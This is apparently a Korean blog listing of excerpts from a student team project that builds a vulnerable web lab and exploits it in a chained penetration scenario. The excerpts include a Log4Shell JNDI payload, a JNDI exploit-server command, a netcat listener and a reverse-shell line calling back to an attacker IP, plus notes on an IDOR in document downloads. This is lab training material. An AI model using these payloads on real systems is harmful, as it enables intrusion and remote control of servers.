초기 탐색제공된 IP로 접속하니 로그인 화면이 먼저 나타났고, /index.php로 직접 접근해 보니 게스트 권한으로 열리는 메인 대시보드와 일부 메뉴를 확인했다.다른 메뉴는 인증이 필요했지만, 일부 업무 자료는 비로그인 상태에서도 열람할 수 있어서 공개된 문서부터 살펴봤다.자료실에 있던 11·17·19번 문서를 내려받아 확인했다.문서에는 임시 계정 생성 규칙, 개인 경로 캐시, 관리자 확인 화면 등 이후 공격 경로 힌트(?)들이 있었다.다운로드 요청의 id 값을 순차적으로 다른 번호로 변경했고, 화면에 노출되지 않은 23번과 38번 문서에도 접근할 수 있었다.문서에 포함된 seed 값과 계정 복구 메모를 통해 로그인 가능한 계정을 알 수 있었다.획득한 계정으로 로그인하기 전, 로그인 페이지의 응답을 살..
Web/프로젝트
2026. 7. 18. 01:01
침투 시나리오 기반 웹 프로젝트 시나리오 취약점 최종테스트
로그인 페이지의 응답 HTML을 확인하여, 입력한 사용자명이 Log4j2를 통해 서버 로그에 기록되는 지점을 확인[터미널 1] VPN 인터페이스의 IP 주소를 확인한 후, 리버스 셸 수신을 위해 4444 포트를 리스닝더보기nc -lvnp 4444[터미널 2] JNDI-Injection-Exploit 도구를 실행해 LDAP 서버를 구동하고, 생성된 JNDI 페이로드를 확인더보기java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -A "공격자IP" \ -C "bash -c {echo,bash -i >& /dev/tcp/공격자IP/4444 0>&1}|{base64,-d}|{bash,-i}" bash -i >& /dev/tcp/공격자IP/4444 0>&1 -> b..
Web/프로젝트
2026. 7. 16. 22:59
AWS 클라우드 서비스 서버 설정
1. 인스턴스 설정1.1. PUBLIC 인스턴스 설정EC2 콘솔의 인스턴스 메뉴로 이동한 후, 외부 웹 서비스를 운영할 Public EC2를 생성하기 위해 인스턴스 시작 클릭인스턴스 이름은 team-b-public-web으로 지정 후, 운영체제는 Ubuntu Server 선택인스턴스 유형은 프리 티어 사용이 가능한 것으로 선택하고, SSH 접속에 사용할 기존 키 페어인 team-b-key-v1로 설정프로젝트의 team-b-vpc와 team-b-public-subnet을 선택하고, 외부에서 접근할 수 있도록 퍼블릭 IP 자동 할당을 활성화보안 그룹은 미리 생성한 team-b-public-web-sg를 적용멘트 루트 볼륨은 범용 SSD인 gp3 유형의 8GiB로 설정하고, 별도의 파일 시스템은 추가 x설정을..
Web/프로젝트
2026. 7. 13. 21:24
AWS 클라우드 서비스 네트워크 설정
1. 네트워크 구성 예시[인터넷 공격자] │ │ 9000 ▼[Public EC2] public_web DB 계정 없음 │ │ 8081: 정상 웹 기능 API │ 18080: 스캔으로 발견할 관리자 페이지 ▼[Private EC2] ├─ public-data-api :8081 │ └─ DB 계정: public_app │ └─ admin_web :18080 └─ DB 계정: admin_app │ │ 3306 ▼[Private RDS] projectdb ├─ users ├─ posts ├─ files ├─ admin_user └─ flag외부에 노출된 Public EC2와 내부 서비스가 배..
Web/프로젝트
2026. 7. 13. 20:56
침투 시나리오 기반 웹 프로젝트 개발 (2)
1. 외부망 이전 작업에 이어 비밀번호 찾기 기능을 구현했다. 처음에는 외부 API를 연동해 휴대폰 또는 이메일 인증을 적용할 계획이었지만, 프로젝트 일정상 임시 비밀번호를 발급하는 방식으로 마무리했다.각 기능을 병합하는 과정에서 누락된 부분을 확인하고 수정했으며, 게시글 수정과 삭제 등 권한 검증이 필요한 기능 전반에 검증 로직을 적용했다.게시판에는 검색 기능이 구현되어 있지 않아 제목과 내용 등을 기준으로 검색할 수 있도록 기능을 추가했다.기존에는 페이지당 게시글 수가 3개로 설정되어 있었으나, 사용성을 고려해 한 페이지에 10개씩 표시되도록 수정했다.게시글 작성 시 첨부파일을 업로드할 수 있도록 기능을 구현했다.원본 파일명과 실제 저장 파일명을 분리하고, 저장 파일명에는 UUID를 사용했다. 또한 ..
DB 연결기존에 로컬 환경에서 사용하던 MySQL이 있어서, 별도로 새로 설치하지 않고 기존 DB를 그대로 활용했고, 프로젝트에서 사용할 portal 데이터베이스를 생성했다.PUBLIC - UI 개발 아직 백엔드 기능과 완전히 연결되지는 않았지만, 내가 맡은 외부망에서 사용할 기본 HTML 화면 구성을 진행했다.현재는 메인 페이지, 회원가입, 로그인, 마이페이지, 게시판 관련 화면 등을 정적으로 만들어둔 상태이다.이후 기능 구현이 완료되면 각 페이지에 데이터를 연결하고, 화면 흐름에 맞게 동작하도록 수정할 예정이다.아래는 현재까지 작업한 화면 구성이다.나름 이쁜 것 같기도..? GitHub 브랜치 작업 및 PR 병합현재까지 구현한 Public UI 관련 소스를 별도 브랜치에 push하였다.처음으로 팀 프..
Web/프로젝트
2026. 5. 11. 02:02
침투 시나리오 기반 웹 프로젝트 개발 환경 구성(2)
1. 기본 구조 구성 및 환경 설정 구성안에 따라 프로젝트 기본 패키지 및 디렉터리 구조를 생성1.1. build.gradle 설정plugins { id 'java' id 'org.springframework.boot' version '2.7.18' //id 'org.springframework.boot' version '3.5.15-SNAPSHOT' id 'io.spring.dependency-management' version '1.1.7'}group = 'com.example'version = '0.0.1-SNAPSHOT'java { toolchain { languageVersion = JavaLanguageVersion.of(17) }}repositories { mavenCentral() //m..
Web/프로젝트
2026. 5. 7. 22:54
침투 시나리오 취약점 체인 구성
침투 시나리오1. 시나리오 흐름도Log4Shell → 리버스 셸 확보 → 내부 서비스 식별 → 피벗팅 → 내부 관리자페이지 접근 → SQL Injection → DB Flag 획득2. 단계별 시나리오 흐름2.1. 외부 서비스 접근 및 초기 진입로그인 시 응답 주석에 " 입력된 사용자명은 Log4j2를 통해 서버 로그에 기록 " 힌트 지급로그인 ID란에 ${jndi:dns://[고유주소].dnslog.cn/a} 페이로드 삽입 / 비밀번호란에 아무 값 입력DNSLog.cn 대시보드에 대상 서버의 공인 IP가 기록 시, 서버가 JNDI 구문을 해석하고 외부 접속을 시도하는 취약 상태2.2. 웹 서버 권한 확보터미널 1 : nc -lvnp 4444 → 타겟 서버에서 실행된 악성 코드가 공격자 PC(4444 포트..